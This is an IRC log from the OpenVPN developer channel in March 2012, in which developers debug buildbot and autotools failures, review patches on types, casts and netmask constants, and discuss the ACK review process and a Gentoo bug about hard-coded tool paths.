dazo_afk is now known as dazo 02:34 <@dazo> cron2: nope, not checked buildbots yet ... but know it built fine on my own box before pushing 02:35 * dazo checks now 02:35 <@dazo> ouch ... all failed 02:37 <@dazo> Linux boxes: build/Makefile.in missing 02:38 <@dazo> BSD boxes: error: libdl is required for plugins 02:40 <@dazo> interesting ... builds out-of-tree on my box ... on a freshly cloned tree 02:41 <@dazo> I suspect the build boxes needs a fresh clone 02:42 <@dazo> (bsd is the exception though) 03:02 * dazo just read the ISC dhcpd manual ... and noticed this: 03:02 <@dazo> option static-routes ip-address ip-address 03:02 <@dazo> [, ip-address ip-address...]; 03:02 <@dazo> This option specifies a list of static routes that the client should 03:02 <@dazo> install in its routing cache. If multiple routes to the same desti- 03:02 <@dazo> nation are specified, they are listed in descending order of prior- 03:02 <@dazo> ity. 03:02 * dazo wonders if this works in Windows ... and if this would be a smoother way how to avoid privilege stuff 03:02 <@dazo> d12fk: ^^^ 03:52 <@d12fk> dazo: what's the context? 03:53 <@dazo> d12fk: nothing particular ... Just stumbled over that static-routes DHCP feature ... and knowing that openvpn.exe and WinTAP emulates a DHCP server, providing the TAP device with IP address ... could it also push routes from OpenVPN the same way? Avoiding the privileged service helper thingy? 03:55 <@dazo> But I don't know if the Windows DHCP client supports that feature ... if it doesn't, it's a dead-end 03:58 <@d12fk> interesting I'll check 04:04 <@d12fk> according to this guy 04:04 <@d12fk> http://tmgblog.richardhicks.com/2009/01/08/using-dhcp-to-assign-static-routes/ 04:04 <@d12fk> it works 04:05 <@dazo> hmm ... sounds promising, if that's a path we want to dig deeper into 04:05 <@d12fk> the approach is limited to routes though and it seems you have no control of the metric and interface, all you can set if gw routes 04:06 <@dazo> yeah, that's true 04:06 <@d12fk> and i think this new option in server 2008 is the ipv6 capable one, which isn't supported on older client OSes 04:06 <@d12fk> lokk at the end of the article 04:07 <@dazo> agreed ... okay, it sounds like this is not covering the full aspect we need to consider 04:07 <@d12fk> okay, good idea though 04:07 <@dazo> :) 04:10 <@cron2> dazo: missing libdl on *BSD would be something for Alon to investigate - but I've also seen configure failures with some weird message about "unterminated constant", which did not look good to me. Which is why I'm a bit confused... 04:10 <@dazo> uhh, I didn't see that one though ... but that's after compiling is running? 04:11 <@cron2> no, before, it didn't even go to compilation phase 04:11 <@cron2> could you kick another build, just to see what fails where? 04:11 <@cron2> (no community vpn right now) 04:11 <@dazo> hmm ... which platform was this? Free,Net,Open? 04:13 <@cron2> I got about 30 buildbot failure mails, and didn't check all of them - it looked like "fail everywhere" 04:13 <@cron2> which is why I tested on the laptop, which worked, and now I'm wondering :-) 04:13 <@dazo> it did ... but I only noticed the libdl issues 04:14 <@cron2> lemme check manually 04:14 <@dazo> I'm wondering if you could try to do a fresh git clone on those boxes ... maybe some old cruft making some odd stuff 04:14 <@cron2> I think buildbot does exactly this, "git clone" 04:15 <@cron2> ok, freebsd fails with: 04:16 <@cron2> autoreconf -vi 04:16 <@cron2> ... 04:16 <@cron2> weird 04:16 <@cron2> first run failed with 04:16 <@dazo> I've seen that those buildbots only compiles modified files ... so that what made me wonder 04:17 <@cron2> configure.ac:328: error: possibly undefined macro: AC_LIBTOOL_WIN32_DLL If this token and others are legitimate, please use m4_pattern_allow. See the Autoconf documentation. 04:17 <@cron2> *second* run (because I messed up copy-pasting) fails with 04:17 <@cron2> src/compat/Makefile.am:18: Libtool library used but `LIBTOOL' is undefined 04:17 <@dazo> uhh?! 04:18 <@dazo> hmm 04:18 <@cron2> ok, ditching the repo, and cloning new 04:19 <@cron2> first run fails with 04:19 <@cron2> configure.ac:328: error: possibly undefined macro: AC_LIBTOOL_WIN32_DLL If this token and others are legitimate, please use m4_pattern_allow. See the Autoconf documentation. 04:19 <@cron2> configure.ac:329: error: possibly undefined macro: AC_LIBTOOL_RC 04:19 <@cron2> configure.ac:330: error: possibly undefined macro: AC_PROG_LIBTOOL 04:19 <@cron2> second run fails with the LIBTOOL messages 04:20 * cron2 is not impressed 04:20 <@cron2> but it *does* create a "configure" script. huh. 04:23 <@dazo> From those extra patches Alon sent, I don't see anything targeting these issues ... so maybe ask about it on the ML? 04:25 <@cron2> so does it work on the linux buildbots, or is it failing there as well? 04:25 <@dazo> It's working on my F16 installation ... I can try on my old F12 and some RHEL5 and RHEL6 clones, to see if it's autoconf version issues 04:26 * dazo wonders why Alon wants $Id$ into the ChangeLog .... 04:27 * cron2 is pleasantly surprised to see that feature of git :-) 04:27 <@dazo> I don't think that feature exists, tbh 04:31 <@dazo> http://stackoverflow.com/questions/384108/moving-from-cvs-to-git-id-equivalent 04:31 <@vpnHelper> Title: version control - Moving from CVS to git: $Id:$ equivalent? - Stack Overflow (at stackoverflow.com) 04:31 <@cron2> why is this stupid configure script checking for polarssl, if I don't pass any polar related options? 04:32 <@dazo> probably to make the configure.ac simpler 04:32 <@cron2> *sigh* 04:34 * cron2 is less than impressed 04:35 <@cron2> (but then, it's monday morning, annika has some sort of fever, and I need more coffee, so maybe I'm just missing the light how great the new "we hide all sources in a two-level deep directory structure" thing is) 04:35 <@cron2> religion vs. "I want this to be straightforward and easy to use" again 04:36 <@dazo> yeah ... I don't understand why it has to be in src/ .... but I do like that the source code which is relevant together, is "bundled" together and strip the rest out ... but this is more personal taste 04:37 <@dazo> could you try this Alons git tree directly? git://github.com/alonbl/openvpn.git .... just to see if that configures and builds better? ... maybe there are some changes there 04:37 <@d12fk> AC_LIBTOOL_WIN32_DLL is in newer libtool only i think 04:37 <@d12fk> what version is on the node 04:38 <@cron2> none 04:38 <@cron2> which branch in alon's tree is "the one"? 04:38 <@dazo> the build branch 04:40 <@cron2> same problem, fails differently for first and second invocation, but with the same messages 04:41 <@dazo> $ rpm -q autoconf automake libtool 04:41 <@dazo> autoconf-2.63-5.fc12.noarch 04:41 <@dazo> automake-1.11.1-1.fc12.noarch 04:41 <@dazo> libtool-2.2.6-18.fc12.1.x86_64 04:42 <@dazo> that builds fine 04:42 * cron2 has no libtool here 04:43 * cron2 goes looking for a package 04:45 <@cron2> indeed, that looks different now 04:45 <@dazo> hmm ... on EL6, I don't have libtool installed ... and also don't see that error 04:45 <@cron2> with libtool installed, I get lots of warnings, but no error, *and* it gives the same output on first and second run 04:46 <@dazo> otherwise, same versions as F12 04:46 <@dazo> interesting 04:46 <@dazo> which autoconf and automake versions do you have? 04:46 <@cron2> autoconf-2.68 automake-1.11.1 04:48 * dazo brb 04:55 <@dazo> okay, I have this error on a CentOS 5 box 04:56 <@dazo> that box was lacking libtool ... installing that, and it seems to do autoreconf just fine, with just this warning: 04:56 <@dazo> Remember to add `AC_PROG_LIBTOOL' to `configure.ac'. 04:57 <@dazo> hmm 04:57 <@dazo> ./configure: line 3959: GNU_SOURCE: command not found 04:58 <@dazo> except of those issues, it builds fine 05:26 <@cron2> ok, config.log sent to alon 05:30 <@cron2> yay, import of opensolaris vm to corp datastore done \o/ 05:35 <@dazo> cool 05:37 <@dazo> Alon responded with a patch to libdl ... 05:54 <@cron2> yep 05:54 <@cron2> testing 06:00 <@cron2> dazo: two pending patches with ACK now :-) 06:15 <@cron2> so, as soon as dazo has merged the libdl patch, the freebsd buildslaves should be fine... (libtool installed everywhere) 06:15 <@dazo> cron2: goodie! I'm going through Alon's patches now 06:18 <@dazo> cron2: the "flags should not be bool" patch ... you understand it that this replaces the "rename bool -> obool" patch? 06:18 <@cron2> no, this is an independent fix 06:18 <@cron2> in these 3 places, a variable is used to signal flags in a bit field, but the variable is declared as "bool" - this is broken in any case, whatever we decide regarding the obool change 06:18 <@dazo> He just writes this in the thread of the bool/obool stuff: "> 80a0dfe6824aef2a 06:18 <@dazo> NOTICE: I rebased this patch to "[PATCH] cleanup: flags should not be 06:18 <@dazo> bool" as a base." 06:19 <@cron2> merging this means "these bool->obool renames can no longer be done, because it's no longer a bool" 06:19 <@dazo> ahh, I see ... merge conflict ... okay 06:20 * dazo hoped we would avoid the bool -> obool change ... finds that a bit "nasty" 06:21 <@cron2> yep. maybe stdbool *is* the right answer, but that would need lots of testing to see why it broke on gentoo 06:21 <@cron2> obool doesn't "feel right" 06:21 <@cron2> darn religiona gain 06:21 <@dazo> I did start a long while ago a review of bool usage, but never manage to complete it 06:22 <@dazo> so, maybe I should pick up that again 06:22 <@cron2> sounds like it... 06:23 <@dazo> the purpose of that review was to make sure bool types where only used as true/false ... flags should be "something else" ... and I've reviewed roughly 50% of the source files already 06:23 <@cron2> .oO(why is there an enable_eurephia=yes in my build?) 06:23 <@cron2> dazo: I think this would actually solve the weird stdbool problems... 06:24 <@dazo> eurephia has been default enabled since 2.2.0 .... it just enables one more environment variables in plug-ins and scripts, with the certificate fingerprint/sha1 06:25 * cron2 opts for removing all the #ifdef's and just exporting the stuff, done 06:27 <@cron2> this is just 8 lines of code and a single environment variable, but yet another possible option combination that could break things 06:27 <@cron2> and the code in verify_cert_set_env() is ugly as all these #ifdefs open their own {} block 06:28 <@dazo> Yeah, it was James who had that requirement in the very beginning ... I just did it to be nice :) ... but I've considered to suggest removing that #ifdef completely ... it's proven not to be a problem anywhere 06:28 * cron2 acks that as part of the anti-#ifdef campaign :-) 06:28 <@dazo> :) 06:29 <@dazo> stdbool.h stuff ... funny, I'm the one who reported one of those gentoo bugs :-P 06:30 <@cron2> yes, I noticed, this is why I mentioned in the mail thread :-) 07:39 <@vpnHelper> RSS Update - testtrac: build: windows: set vendor to openvpn project + cleanups <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=405f338783aee035c28209a8eeb203069e177b71> || build: enable lzo by default <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=40a56e79d5d45c8e40c599f52349007155f7e475> || build: autoconf: misc sockets fixups <http://openvp 07:40 <@cron2> yay, progress. Now lets see what buildbot does with these 07:42 <@dazo> :) 07:42 <@dazo> it's just 4 of many patches :) 07:43 <@dazo> duh ... forgot the dl patch 07:44 <@cron2> now *that* is the imporant one :-) 07:44 <@dazo> I know :) 07:51 <@vpnHelper> RSS Update - testtrac: build: assume dlfcn is available on all supported platforms <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=020cbe3f7a64279af2bd14e615422f058050e513> 07:52 <@cron2> you're leaving patch 4/6 (msvc visual studio 2010) to mattock, I assume? 07:53 <@dazo> yeah, I am 07:53 <@cron2> makes sense :-) (I was just wondering whether I missed that mail) 07:54 <@dazo> I'm also skipping this one, leaving it to d12fk to ack nor nack ... " [Openvpn-devel] [PATCH] cleanup: windows: convert argv (UCS-2 to UTF-8) at earliest" 07:55 <@cron2> ohyeah, that one. Renaming main to openvpn_main, with a minimum wrapper on non-windows platforms. With #ifdef. 07:55 <@cron2> I like the idea, but I do not like the looks, so I'm abstaining 07:58 <@dazo> cron2: reg. stdbool .... this is when I started reviewing it http://article.gmane.org/gmane.network.openvpn.devel/2922/ ... (gee, how the time flies - I didn't know it was *that* long ago) ... does that make sense to you? 07:58 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 08:00 * dazo wonders if that mail would go unnoticed these days ... 08:01 <@cron2> 2009. oh my. :-) 08:05 <@dazo> well, right before Christmas 2009 :p 08:08 * d12fk is not arguing with Alon anymore 08:09 <@dazo> d12fk: so that means you lean towards ack or nack? 08:09 <@dazo> (if nack ... I'll just ignore it in silence for now) 08:10 <@d12fk> idk, it's just another way to do it. I tried to be least intrusive, that's why I didn't go that way. 08:10 <@d12fk> if you don't like the heap it's the way to go 08:12 <@dazo> okay, I'll let that one just stay where it is now ... until another discussion pops up ... I'll try to stay away from platforms I have no real hands on experience with 08:12 <@dazo> (unless the change is so obvious you don't even have to think nor compile it to see the result) 08:14 <@d12fk> i'll ack if a patch fixes something, but not for things like these. just no time to get into this, sorry 08:14 <@dazo> no worries! 08:43 <@cron2> Alon has too much time on his hands... yet another religios debate starting now. d12fk, show us your manliness agaiN! 08:46 <@dazo> That's a discussion we probably should stay completely away from 08:46 * cron2 didn't start it 08:46 <@dazo> :) 08:47 <@dazo> oh, I thought you meant the mail from alon regarding github 08:47 <@cron2> yeah, that one 08:56 * dazo is really not in mood to argue with Alon about github currently ... first, lets get patches reviewed and accepted 08:57 <@cron2> ack 08:57 <@cron2> is buildbot doing auto-builds-after-commit these days, or does it want to be triggered manually? 08:58 <@dazo> it should go automatically ... haven't checked yet ... I should do that :) 08:59 <@dazo> it looks far better 09:01 <@dazo> --disable-crypto fails with: configure: error: crypto must be enabled for ssl 09:01 <@dazo> which makes somewhat sense 09:01 <@dazo> --disable-ssl is probably more correct 09:02 <@cron2> or it should just auto-disable ssl 09:03 <@dazo> that's probably what happened earlier 09:03 <@dazo> hmm ... this is new ... 09:03 <@dazo> tun.c: In function 'write_tun': 09:03 <@dazo> tun.c:2070: error: dereferencing pointer to incomplete type 09:03 <@dazo> builder-cron2-openbsd-49-i386-stable-master--disable-lzo 09:03 <@cron2> now it's all my fault again? :-o 09:04 <@dazo> hehe ... probably not ;) 09:04 <@cron2> most likely a header file is missing or something, I'll check 09:04 <@dazo> it's all openbsd builds 09:04 <@cron2> (not right now, need to leave $soon and drive home) 09:04 <@dazo> sure, no worries 09:05 <@dazo> libtool is also missing on debian boxes 09:05 * cron2 sends smoke bombs to mattock 11:00 <@cron2> mmmh 11:00 <@cron2> 2070 in tun.c/openbsd is 11:00 <@cron2> if (tt->ipv6 && iph->ip_v == 6) 11:00 <@cron2> and "iph" is "struct ip *iph" 11:15 * cron2 starts to hate configure 11:24 -!- raidz_afk is now known as raidz 11:59 -!- dazo is now known as dazo_afk 13:00 <@cron2> where is mattock hiding...? 13:50 -!- Intensity [zQBDL3Up0A@unaffiliated/intensity] has quit [Ping timeout: 276 seconds] 14:13 -!- Intensity [XBqzWttSqK@unaffiliated/intensity] has joined #openvpn-devel 19:08 -!- raidz is now known as raidz_afk --- Day changed Tue Mar 27 2012 01:58 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:58 -!- mode/#openvpn-devel [+v krzie] by ChanServ 03:15 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 03:18 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:46 -!- dazo_afk is now known as dazo 04:30 -!- Intensity [XBqzWttSqK@unaffiliated/intensity] has quit [Ping timeout: 276 seconds] 04:46 -!- Intensity [4c1eFHrfL0@unaffiliated/intensity] has joined #openvpn-devel 05:24 <@vpnHelper> RSS Update - tickets: #200: PolarSSL v1.1.1 support <https://community.openvpn.net/openvpn/ticket/200> 05:37 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:38 <@mattock> mattock wonders what crisis has been brewing on the ml while he was away... 06:14 <@dazo> :) 06:37 <@mattock> whoa, no crisis at all 06:37 <@mattock> only fairly polite discussion 06:37 <@mattock> me somewhat surprised :) 06:38 <@dazo> :) 06:38 <@mattock> I'll get on to the ACK system review... that'll be interesting 07:14 <@cron2> mattock: well, there's some buildbot fixing that needs doing :-) --disable-crypto, and trying to copy t_client.sh from /root/ 07:14 <@cron2> and some more voices regarding configure complexity vs. "we know what's available on a given platform"... 07:14 <@mattock> cron2: I won't let that distract me from what I'm doing :D... but it's now on my TODO 07:15 <@cron2> mattock: so what are you doing? 07:15 <@mattock> ^^^ 07:15 <@mattock> I'll take a quick look at the patches we've ACKed, and where it makes most sense 07:35 <@dazo> mattock: please see my mail before you post anything ... it might give you a different perspective :) 07:35 <@mattock> ok 08:22 <@mattock> damn thunderbird has started crashing when sending emails... 08:22 <@mattock> fairly critical functionality in an email client :P 08:27 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 08:51 <@d12fk> is there an offical tap-win32 repo anywhere or should i use alons? 08:52 <@dazo> alons is probably the best right now 08:52 <@dazo> I'm considering how to build up that repo ... but I'll probably base it on our openvpn.git tree 08:53 -!- dazo is now known as dazo|mtg 08:59 -!- dazo|mtg is now known as dazo 09:25 <@cron2> is andj around? 09:47 -!- Irssi: #openvpn-devel: Total of 14 nicks [7 ops, 0 halfops, 0 voices, 7 normal] 10:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 10:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:56 -!- dazo is now known as dazo_afk 11:00 -!- raidz_afk is now known as raidz 12:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 12:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:57 <@andj> cron2: sort of :) 13:59 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:59 -!- mode/#openvpn-devel [+v krzie] by ChanServ 13:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 14:21 <@mattock> there are now some text and statistics here: https://community.openvpn.net/openvpn/wiki/ACKSystemReview 14:21 <@vpnHelper> Title: ACKSystemReview – OpenVPN Community (at community.openvpn.net) 14:22 <@mattock> I'll do a random sampling of the patches to see how many got modified during the ACK process 14:26 <@andj> cool, thanks for the work 14:27 <@andj> What are your conclusions so far? Do you think we're doing well? What parts do you think need an improvement? 14:38 <@mattock> no conclusions, not that far yet 14:38 <@mattock> I'll try to figure out the amount of (potential) problems and bugs that got squashed by the review process 14:39 <@mattock> it _feels_ that the ACK process is very useful in some ways, and not so useful in others 14:39 <@mattock> e.g. when a random guy sends patches to the ml, it's proven it's usefulness 14:40 <@mattock> in other cases... well, we'll see 15:18 <@cron2> andj: if you have sort of time, there's new patches from Alon on the list that add lots of type casts to and from some of the crypto functions (if I read that right) and I'm not sure they make sense 15:18 <@cron2> casting to (uint8_t *) always feels weird to me... 15:29 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:35 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 17:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 17:39 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 19:30 -!- raidz is now known as raidz_afk 19:55 -!- krzee [d876ef1e@openvpn/community/support/krzee] has joined #openvpn-devel 19:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:58 -!- krzee [d876ef1e@openvpn/community/support/krzee] has quit [Quit: Page closed] --- Day changed Wed Mar 28 2012 00:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 00:53 <@andj> cron2: thanks for the heads-up I'll have a look. Admittedly, the mailinglist has been a little overwhelming lately... 00:55 -!- dazo_afk is now known as dazo 00:55 <@andj> Adding casts everywhere has rather a bad code smell... 01:05 <@dazo> but isn't the openssl API very much (unsigned char *) oriented? 02:58 <@cron2> it might be, but in that case it might be more reasonable to use the proper data type right away, and not "cast at function call" 02:59 <@cron2> and while technically the same, I find "uint8_t" somewhat confusing as compared to "unsigned char" 02:59 <@cron2> uint8_t looks like "something interesting is happening here", as opposed to "silence compiler warning about signed/unsigned char mismatch"... 03:02 <@dazo> hmm ... openssl implementation is void*, while polarssl is unsigned char * 03:04 <@cron2> ... which is compatible... :-) - so if we could use void * for "opaque pointers" or "unsigned char []" for "local storage that needs to have a defined size" everywhere, we should be fine without casts 03:04 <@dazo> uint8_t is basically the same as unsigned char .... or unsigned short .... but I agree, would probably make more sense to let that type casting happen in *_backend.h and *_{openssl,polarssl}.c files instead 03:05 <@cron2> dazo: not short, short is 16 bit on about every modern unix 03:05 <@cron2> (it could technically be 8 bit, but in practice, it isn't on "our platforms") 03:05 <@dazo> ahh, whoops ... /me flushes his memory :) 03:07 <@dazo> andj: what's your take on this? 03:18 <@dazo> I'm also wondering what's the purpose of the ~0 -> 0xffffffff change ... ~0 results in all bits set, no matter the size 03:19 * dazo asks 03:19 <@cron2> I assume it will create a warning on some machines 03:19 <@dazo> then I'd like to know which platforms :) 03:19 <@cron2> like "my default integer type for numerics is 64bit" -> ~0 will create 0xffffffffffffffff, and assidning that to a 32bit variable will create a warning 03:20 <@cron2> now, I don't think that "get rid of warnings at any price" is a reasonable approach, I find this change to actually improve readability of the code - it's very clear "this is 255.255.255.255", while "~0" is not so immediately-obvious 03:24 <@dazo> Yeah, I kind of can agree to that ... ~0 makes you think, and if you have no experience with bitwise operators in C it looks crazy 03:25 <@dazo> I see that in_addr_t is declared as uint32_t on my Linux box ... I don't know if that could be different on other platforms? Could that type be used for more that IPv4 related info? 03:26 <@dazo> (if some implementations actually modified it to uint64_t, f.ex) 03:26 <@cron2> I've only ever seen it used to store a single IPv4 address 03:26 <@dazo> (well, uint128_t would be more reasonable for IPv6) 03:27 <@cron2> so "uint32_t" is fine, but some implementations might want to use 64 bit for more efficient processing, what do I know... 03:27 <@dazo> yeah 03:28 <@cron2> IPv6 is tough, as no CPUs seem to have "general purpose" 128 bit ops, and thus C compilers don't do so... OTOH, gcc brought us "long long" with 64bits on 32bit CPUs, so doing 128bit with libgcc functions internally would be possible... 03:28 <@cron2> but for compatibility, the lowest common denominator is "uchar[16]"... 03:29 <@dazo> true 03:33 <@dazo> That patch is not even consistent ... there are more places where ~0 is used as netmask when used calling add_route3() 03:33 <@cron2> so NACK it :) 03:33 <@cron2> (that's the problem with "fix warnings!" patches, they miss the grand picture if the same code doesn't cause a warning elsewhere) 03:34 <@dazo> I'll provide a chance to comment it first 03:53 <@vpnHelper> RSS Update - testtrac: build: tap: search for tap header <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=7cacdfd4b7f221139e0d2a0334f1f1cd8f2a1b75> || build: openbsd: detect netinet/ip.h correctly <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=2a7448912efbba7a246f481566117d6b8f6341c1> 03:54 <@cron2> so in theory, it should build now... some builds will still fail, due to --disable-crypto --enable-ssl, and others due to /root/t_client.rc not found (mattock's scripts need work) :-) - but the general direction is good 04:12 <@dazo> yeah, that sounds about right 04:12 * cron2 pokes mattock 04:13 * dazo loves git ... using git blame, still keeps the proper "modified by" references, despite moving the files around 04:16 <@cron2> yeah, git is cool. moving files around in cvs sucks royally (so I never do that) 04:27 <@dazo> Alon responded that with the Sun compiler, ~0 is a signed value 04:28 <@dazo> "a.c", line 4: warning: initializer does not fit or is out of range: -1 04:28 <@dazo> unsigned, I mean 04:28 <@cron2> signed, you mean :-) which fails when being assigned to an unsigned 32 bit int 04:29 <@dazo> yeah I do :) 04:29 <@cron2> ISTR that the Sun C compilers suck as much as MSVC... :-) 04:29 <@dazo> :) 04:31 <@cron2> but most likely the C standard is a bit vague regarding constants and sign bits... - so if it works with 0xffffffff, let's have it everywhere... or even introduce a #define for it IPV4_NETMASK_HOSTONLY or such 04:32 <@dazo> that's what I was thinking as well ... a #define would be very clear 04:33 <@cron2> and make that "0xffffffffU", as that seems to be the canonical way to tell the compiler "hey, shut up, this is unsigned" 04:33 <@cron2> "~0U" might also work, but is even harder to grok 04:34 <@dazo> ACK 04:34 * cron2 is tuning out of the discussions now for a few hours, and tries to get paid-for work done :-) 07:26 <@d12fk> oh boy here comes alon again 07:31 <+krzee> you guys ever seen http://www.peervpn.net/ ? 07:31 <@vpnHelper> Title: PeerVPN - the open source peer-to-peer VPN (at www.peervpn.net) 07:32 <+krzee> (knew it existed) 07:33 <+krzee> looks like the author of that software should just come develop 'topology mesh' instead of doing all that rewriting of vpn software 07:40 <@mattock> d12fk: I'm not sure I like the sound of that... :D 07:41 <@d12fk> mattock: it's just.. I don't get this guy 07:42 <@mattock> it's very, very difficult to get him 07:42 <@mattock> unfortunately 07:42 <@d12fk> i say i removed the implicit rule for .rc files and he sends a patch that reintroduces this?! 07:43 <@mattock> hmm 07:43 <@d12fk> what the proper reply to that? "what part of no didn't you understand?" 07:43 <@mattock> maybe no response at all? 07:43 <@mattock> might be best 07:44 <@d12fk> i can't swallow all that shit, else im gonna die at age 40 =) 07:44 <@d12fk> i take bets in how many years that will be btw =) 07:45 <@mattock> I guess we have to figure out an alternative for swallowing, then :) 07:45 <@mattock> I won't make any guesses, btw :) 07:45 <@mattock> unless there's a price, obviously 07:45 <@mattock> :P 07:45 <@d12fk> heh 07:53 <@dazo> krzee: peervpn is definitely written from scratch ... and three are some "interesting" (read: very odd) approaches to the source code too ... 07:54 <@dazo> (C files saved as '*.ic' and is included into the main C file ... of course, it makes the Makefile simpler ... but not a very clean way how to do such a bigger project) 07:55 <@dazo> otherwise clean coding style 08:02 <@cron2> d12fk: you're not 40 yet? 08:04 <@d12fk> thanks cron2! =) 08:05 * cron2 would have to hurry up to die at age 40... :-) - only 5 months left 08:23 <@mattock> cron2: maybe a unhealthy dosage of pointless flamewars on openvpn-devel ml would help achieve that goal? :P 08:24 <@cron2> mattock: go and fix buildbot :-) 08:25 <@mattock> on Friday, yes :) 10:54 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 11:05 -!- raidz_afk is now known as raidz 11:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:13 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:38 <@dazo> mattock: would you have time to check out this patch from Alon? [PATCH 4/6] build: msvc: upgrade to Visual Studio 2010 + fixups 13:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 14:24 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:10 -!- dazo is now known as dazo_afk 19:06 -!- raidz is now known as raidz_afk 21:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 22:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:09 <+krzee> https://community.openvpn.net/openvpn/wiki/IrcMeetings 22:09 <@vpnHelper> Title: IrcMeetings – OpenVPN Community (at community.openvpn.net) 22:09 <+krzee> says 17:00 or 18:00 UTC 22:11 <+krzee> i talked to the peervpn guy, mentioned that his program is kinda sweet looking, and that it would be mutually beneficial if he brought his idea to openvpn (to make topology mesh) 22:12 <+krzee> he liked the idea, as it would gain him instant windows support, which he has no coding experience in 22:12 <+krzee> so maybe he'll come through here tomorrow, his name is Tobias and has a .de email, but i dont know what he'll irc as 23:23 -!- zocker [~tobias@2001:41b8:83f:4242::666] has joined #openvpn-devel --- Day changed Thu Mar 29 2012 00:10 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 01:54 <@mattock> dazo: re: msvc:upgrade ... yep 02:11 <@mattock> dazo: done 02:32 <@cron2> dwMINUS_ONE, omigosh 02:42 -!- dazo_afk is now known as dazo 02:53 <@dazo> cron2: my thoughts as well ... 05:32 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn-devel 05:32 < djc> guys, got any ideas about https://bugs.gentoo.org/show_bug.cgi?id=407195? 05:32 <@vpnHelper> Title: Invalid Bug ID (at bugs.gentoo.org) 05:33 < djc> https://bugs.gentoo.org/show_bug.cgi?id=407195 without the ?, stupid bot 05:33 <@vpnHelper> Title: Bug 407195 net-misc/openvpn: path to network tools get hardcoded at build time (at bugs.gentoo.org) 05:46 <@vpnHelper> RSS Update - testtrac: build: msvc: upgrade to Visual Studio 2010 + fixups <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=3c1971de878bb3658c38b0504f314d38b6b765d2> 06:05 <@cron2> djc: huh, this is a weird one. Why would ifconfig or route move around at run-time? 06:06 <@cron2> ah, *gentoo* decided to move ifconfig around, right? 06:07 <@cron2> well, tough, but we're not fixing this any time soon - if the operating system decides to move system binaries, just recompile openvpn 06:09 < djc> cron2: why does openvpn need the full paths to be hard-coded at compile time? 06:11 <@dazo> djc: hmmm ... what about to enforce iproute2 dependency, and build with --enable-iproute2 ? it at least reduces the hard coded paths amount and uses more sane tools on Linux 06:12 <@dazo> (not a real solution, though) 06:12 <@dazo> Need to ask James why these paths needs to be hard coded ... however, I wonder what's happening with that nowadays - as we're messing up our autotools stuff massively 06:13 < djc> yeah, someone posted a patch to our openvpn-9999 ebuild 06:13 < djc> would be useful to know why they are hard-coded... we can probably work around it if necessary, but I really don't understand why openvpn can't just try the PATH 06:24 <@dazo> A guess would be predictability and making openvpn coding simpler ... except of that, I have no idea. 06:26 <@mattock> security perhaps... to make sure the default executables bundled with the OS are used, instead of something added to the PATH 06:27 <@dazo> yeah, plausible 06:27 <@mattock> that said, not sure if searching PATH would weaken security significantly 06:27 <@dazo> even though, I'm not sure if that's really a real security issue these days 06:27 